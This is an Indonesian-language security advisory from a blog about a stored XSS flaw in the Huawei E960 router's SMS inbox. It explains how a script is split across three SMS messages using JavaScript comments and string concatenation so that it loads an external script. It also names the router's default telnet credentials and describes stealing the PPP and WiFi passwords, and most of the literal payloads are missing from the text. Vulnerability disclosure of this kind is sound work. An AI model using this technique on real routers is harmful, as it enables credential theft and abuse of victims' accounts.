in Advisory, Web Security

XSS Attack using SMS to Huawei E960 HSDPA Router

huaweie960

Serangan XSS tidak hanya bisa dilakukan dengan browser di komputer, dalam artikel ini saya akan memberikan contoh nyata serangan xss yang bisa dilakukan hanya dengan mengirim sms dari handphone. Artikel ini saya tulis ketika memakai internet di rumah teman yang menggunakan HSDPA wireless router merek Optus (Huawei) E960.

Sekilas tentang Optus Huawei E960

E960 adalah wireless router yang menggunakan koneksi HSDPA/3G.  Dengan menggunakan E960 koneksi internet 3G dari operator seluler tidak hanya dinikmati sendiri, tapi bisa disebarkan ke banyak komputer dengan Wifi atau kabel ethernet (RJ45), jadi bisa menjadi hotspot mini untuk rumah/kantor.

Versi firmware yang dipakai dalam artikel ini adalah:

  • Router hardware version WLA1GCPU
  • Router software version 246.11.04.11.110sp04
  • Modem hardware version WLB1TCPU
  • Modem software version 246.11.04.07.116

Telnet to E960

E960 bisa dimanage dengan menggunakan interface web atau telnet. Operating system dalam router ini adalah busybox, salah satu varian embedded linux. Untuk masuk ke busybox cukup gunakan program telnet dengan username dan password default, “admin:admin”. Karena dalam artikel ini saya membahas tentang serangan melalui sms, maka saya akan sedikit membedah bagaimana sms dihandle di E960.

Folder tempat menyimpan sms baik yang diterima, dikirim maupun draft adalah /tmp/sms. Isi dari folder tersebut adalah:

# ls -l
drwxr-xr-x    1 0        0               0 Jan  1  2000 unsend_sms
drwxr-xr-x    1 0        0               0 Jan  1  2000 sent_sms
drwxr-xr-x    1 0        0               0 Jan  1  2000 inbox_sms
-rw-r--r--    1 0        0             540 Jan  8 22:02 per_sms_file

File per_sms_file berisi PDU dari sms yang belum dibuka, jadi belum masuk ke folder inbox_sms. Bila seorang admin masuk ke interface web dan membuka inbox, maka sms yang ada di per_sms_file akan dipindahkan ke folder inbox_sms. Dalam folder inbox_sms setiap sms disimpan dalam file yang bernama “0”,”1″ sampai “10” secara berurutan.

Sebagai contoh bila saya mengirim sms dengan isi “halo apa kbr?”, maka per_sms_file akan berisi PDU:

 06912618010000240D91261823411474F40000902021615341820DC830FB0D0AC3C3A0B558FE03

Kalau dilihat dengan online PDU decoder, PDU tersebut artinya:

SMSC#+6281100000
Sender:+6281321441474
TimeStamp:12/02/09 16:35:14
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
class:0
Alphabet:Default

Halo apa kbr?
Length:13

Web Interface

web interface login page

web interface login page

Dalam web interface E960 telah disediakan banyak fasilitas terkait dengan konfigurasi koneksi internet. Selain itu ada juga fasilitas untuk membaca dan mengirim sms. Nah fasilitas sms ini lah yang mengandung bug xss. Kesalahan E960 adalah dia tidak memfilter sms yang akan ditampilkan di web interfacenya, artinya dia 100% percaya bahwa sms yang masuk pasti bersih dari kode jahat sehingga dia berani langsung menampilkannya di web interfacenya.

Bug XSS pada halaman inbox tersebut memungkinkan attacker mengirimkan sms yang berisi kode html atau javascript yang akan otomatis dieksekusi begitu sang admin sedang membaca sms. Apa akibat yang ditimbulkan dari serangan ini?

  • Attacker bisa mendapatkan password PPP 3G korban. Caranya adalah dengan mengakses URL: /js/connection.js lalu mengirimkannya sebagai sms ke nomer hp attacker.
  • Attacker bisa mendisconnect koneksi internet korban.
  • Attacker bisa mengirim sms dengan nomor dan biaya korban.
  • Attacker bisa mendapatkan password WIFI bila korban menggunakan enkripsi untuk melindungi jaringan wirelessnya.

the scariest thing about this attack is the fact that sms can’t be rejected. sms always goes straight to inbox

Perlu diingat juga bahwa sms tidak bisa dibendung. Berbeda dengan telepon masuk yang bisa anda tolak bila anda tidak suka, sms tidak bisa anda tolak, sms langsung masuk ke inbox handphone tanpa perlu ijin dari anda. Artinya dampak dari serangan ini sangat berbahaya, korban tidak bisa menolak sms yang masuk. Bayangkan bila ada senjata yang pelurunya tidak mungkin dibendung dengan rompi/tembok anti peluru setebal apapun, peluru (malicious sms) ini pasti bisa masuk ke inbox tanpa hambatan apa pun.

XSS Vulnerability

XSS Vulnerability pada web interface terdapat pada halaman sms inbox. Dalam halaman ini ditampilkan sms yang masuk, nomor pengirim dan tanggal. Berdasarkan percobaan, dari 160 karakter sms, yang bisa ditampilkan di sini hanya 32 karakter pertama saja. Gambar di bawah ini adalah sms yang terlihat pada halaman inbox ketika saya mengirim sms sepanjang 160 karakter berikut:

Adgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptw

inbox view: maximum 32 characters per sms

inbox view: maximum 32 characters per sms


Testing with Italic Tag HTML

Oke, sekarang mari kita coba mengirimkan tag html italic, apakah sms yang ditampilkan akan tercetak miring? Bila iya, maka terbukti bahwa halaman inbox huawei E960 ini vulnerable. SMS yang saya kirimkan adalah berikut ini:

test miring

italic tag injection works

italic tag injection works


Injecting simple script

Injeksi tag italic ternyata berhasil, kini saatnya kita melakukan serangan yang lebih serius, yaitu menginjeksi javascript. Karena dibatasi hanya 32 karakter saka, maka sms berisi script yang saya kirim sangat sederhana, yaitu:


simple script injection works

simple script injection works

Gambar di atas menunjukkan serangan xss sederhana yang berhasil diinjeksi lewat sms. Mari kita lihat di balik layar, apa yang terjadi dengan sms tersebut. Perhatikan gambar di bawah ini yang menunjukkan source code halaman inbox tersebut.

sms script injected inside html source code

sms script injected inside html source code


Overcome 32 Charackters Limit

Oke, saya telah menunjukkan bahwa halaman inbox bisa diinjeksi dengan script. Namun ingat, halaman inbox hanya bisa diinjeksi dengan script yang panjangnya 32 karakter saja. Dari 32 karakter itu, 17 karakter sudah terpakai untuk tag buka dan tag tutup, sisanya hanya 15 karakter, sangat kecil sekali yang bisa dilakukan.

Tunggu dulu, jangan pesimis dulu. Awalnya saya kebingungan juga, namun setelah saya pikirkan lagi, saya dapat ide untuk menyambung banyak sms menjadi satu kesatuan dengan menggunakan komentar dan konkatenasi (penyambungan string).

Kalau anda masih bingung, perhatikan source code dari halaman inbox berikut ini:


22.02.2009 14.11.15
+6281321441474
ini sms 1



22.02.2009 14.10.05

+6281321441474
ini sms 2



22.02.2009 14.08.11
+6281321441474
ini sms 3


Setiap sms ditampilkan dalam satu baris tabel tersendiri (di antara tag buka dan tag tutup TR). Isi sms ditampilkan dalam salah satu kolom di baris tersebut, bersama dengan kolom lain yang berisi nomor pengirim dan tanggal. Jadi bila saya ingin menggabungkan 2 sms menjadi satu, maka yang perlu saya lakukan adalah menggunakan komentar. Pada sms yang pertama saya akhiri dengan awal komentar, kemudian pada sms kedua, saya mulai dengan tutup komentar, dan lanjutan dari script pada sms pertama. Perhatikan contoh di bawah ini.


Baris pertama pada kode di atas berasal dari sms pertama. Baris kedua adalah text atau tag html apapun yang ada sesudahnya. Sedangkan baris ke-3 adalah isi sms kedua, yang merupakan lanjutan dari script pada sms pertama. Karena setiap sms ditampilkan dalam baris dan kolom tabel, tentu saja sesudah isi sms akan diikuti dengan banyak tag html lain seperti TR, TD (lihat contoh source code html halaman inbox di atas). Namun dengan menggunakan komentar, maka semua tag itu akan diabaikan browser, hingga browser menemukan */ yang merupakan penanda akhir komentar.

Sebenarnya ada 2 macam komentar yang tersedia, yaitu komentar HTML dan komentar javascript. Komentar html di awali dengan <!– dan diakhiri dengan –>. Saya memilih memakai komentar javascript karena saya sudah mencoba menggunakan tag html untuk mengambil script dari server luar dengan atribut SRC, namun isi dari atribut SRC tersebut tidak bisa diputus ditengah jalan dengan komentar html dan disambung lagi dengan konkatenasi seperti contoh script ‘hello world’ di atas.

Browser bisa mengenali sedang bekerja dalam konteks html atau javascript dari tag yang ditemukan. Bila ada teks yang berada di dalam tag script, maka teks tersebut berada dalam konteks javascript, sehingga aturan komentar yang berlaku adalah komentar javascript (/* … */) bukan komentar html.

Agar lebih memahami, saya akan tunjukkan contoh serangan dengan 3 sms. Ketiga sms tersebut tidak mengandung code yang berbahaya, karena ketiganya hanya berfungsi sebagai initializer atau agen perintis yang membuka jalan untuk payload yang berasal dari server luar. Karena keterbatasan jumlah karakter, maka untuk dapat menghasilkan serangan yang bermakna, saya harus bisa membuat browser me-load javascript dari server luar. Karena scriptnya ada di server lain, saya bebas membuat dan menginjeksikan script ke browser korban sepanjang apapun yang saya mau.

Lokasi dari script yang akan saya injeksikan ada di URL: http://ilmuhacking.com/xss.js. Karena hanya sebagai proof of concept, script dalam url tersebut sangat sederhana yaitu:

alert('ini script di ilmuhacking.com/xss.js');

Untuk melancarkan serangan ini saya harus mengirim 3 sms berikut ini (susunan sms ini menunjukkan urutan pengiriman):

  1. */+'king.com/xss.js';

Agar sms tersusun dengan benar, maka pengiriman sms harus terurut mulai dari nomor 1 hingga 3. Hal ini karena dalam halaman inbox tersebut, sms yang terbaru akan ditampilkan di paling atas dan menggeser sms yang lebih lama ke bawah. Harapan saya dengan mengirim ketiga sms tersebut adalah menginjeksikan script berikut:



Mungkin ada yang bertanya kenapa kok tidak menggunakan tag script dengan atribut src untuk meload script dari luar? Jawabannya adalah karena batasan 32 karakter per sms, sehingga saya harus menggunakan 2 sms untuk mengisi atribut SRC tersebut. Sebagai contoh bila saya ingin mengisi SRC='http://ilmuhacking.com/xss.js', maka saya harus memutus string URL tersebut di tengah, kemudian menyambungnya di sms berikutnya. Karena SRC adalah atribut dari tag script, yang artinya masih dalam mode HTML, maka komentar yang berlaku adalah komentar html style, dan juga tidak ada operasi konkatenasi dalam html. Setelah saya coba memutus dengan komentar dan menyambungnya, ternyata script tidak dieksekusi, artinya xss gagal dengan cara itu.

Baiklah sudah cukup panjang penjelasan saya, kini saya coba mengirimkan ketiga sms tersebut secara berurutan. Kemudian setelah ketiganya delivered, berikut adalah gambar halaman inbox setelah ketiga sms tersebut terkirim:

xssed remotely

xssed remotely

Terlihat bahwa script yang lokasinya di ilmuhacking.com/xss.js dieksekusi oleh browser korban. Itu artinya kini attacker bisa bebas mengisi xss.js dengan script apapun tanpa dibatasi lagi dengan maksimum 32 karakter.

Gambar berikut ini menggambarkan dengan jelas apa yang sebenarnya terjadi pada ketiga sms tersebut. SMS 1 berfungsi untuk membuat tag script bernama "x". Kemudian SMS 2 dan SMS 3 adalah satu kesatuan yang dipisahkan dengan komentar dan disatukan dengan konkatenasi string (karakter plus '+').

html source code inbox page

html source code inbox page

Inbox Page Damage

Halaman inbox yang sudah terinjeksi serangan 3 sms di atas akan rusak. SMS tidak bisa dihapus karena tombol delete tidak lagi berfungsi. Padahal selama 3 sms itu masih ada, maka halaman inbox akan tetap rusak. Untuk bisa membuat halaman inbox itu normal kembali, maka sms itu harus dihapus.

Sebelumnya sudah saya jelaskan tentang telnet ke console Huawei E960. Bila menghapus sms dengan web interface tidak bisa, maka saya harus menghapus sms tersebut secara langsung dengan telnet. File yang perlu saya hapus adalah file yang ada di folder /tmp/sms/inbox_sms

remove sms file using telnet

remove sms file using telnet

Setelah file sms dihapus dari folder inbox_sms, maka di halaman inbox kini akan muncul error seperti pada gambar berikut:

sms not found error

sms not found error

Jangan kuatir, meskipun ada pesan error, tombol Delete kini berfungsi dengan baik. Anda kini bisa menghapus ke-3 sms tersebut dengan mencheck smsnya dan menklik tombol Delete. Bila anda mendapati halaman seperti gambar berikut berarti sms "jahat" tersebut sudah hilang dari huawei e960 anda.

delete succeeded

delete succeeded

Write a Comment

Comment

22 Comments

  1. waduh……………..ternyata ada penerapan lain neh…
    btw, kalo pemanfaatan script melalui javascript , tidak ada kemungkinan besok ne akan ada infeksi program jahat ke sana melalui teknik ini
    btw…nice found brotha…

    Best regard

    Aurel 666

  2. @Rizki Wicaksono
    hehehe… standardnya company gitu sih, email yg ngasih tau bugs malah dibilang spam 🙂 biarin aja lah.. sampe ntar ada yg mengajukan tuntutan karena kerugian financial atas kelalaian produsen menjaga BusyBox nya.. keep-up the good work dah!

  3. Mas kalo E960 nggak kedetect ipnya/web nya nggak muncul bagaimana ngatasinya? firmware rusak? dapetin firmware sama masukin ke E960 gimana? soalnya waktu nyalain lampu mode sama signal kedap-kedip, lampu LAN nggak nyala. apa ada cara untuk reset? caranya bagaimana? soalnya nggak ada tombol resetnya. ip nggak bisa dibuka via web maupun telnet. sebelumnya makasih mas

  4. problem saya gimana cara dapetin firmware +masukin ke e960 gimana caranya?cara untuk reset modem ini gimana. modem saya wlan terlanjur dimatikan ,tapi LAN nya gak bisa onnect semua(lampu LAN nyala semua),terima kasih banyak atas perhatiannya .

  5. ia ni boz saya juga sama dgn yg di atas ni boz… tolong donk boz….

    cara untuk reset modem ini gimana. modem saya wlan terlanjur dimatikan ,tapi LAN nya gak bisa onnect semua(lampu LAN nyala semua),terima kasih banyak atas perhatiannya .

  6. bantuin setup sebagai wireless bridge dong. Link status sudah Up tapi ping ke access point primary maupun network di primary tidak bisa.

    trims

  7. E960 punya ku juga sama baru seminggu ini juga gak bisa kedetect, wifi nyala, tapi ga kedetek ip nya. via lan juga gak kedetect ip nya jadi gak bisa diakses. Aku juga heran kk tiba kena penyakit seperti ini ya?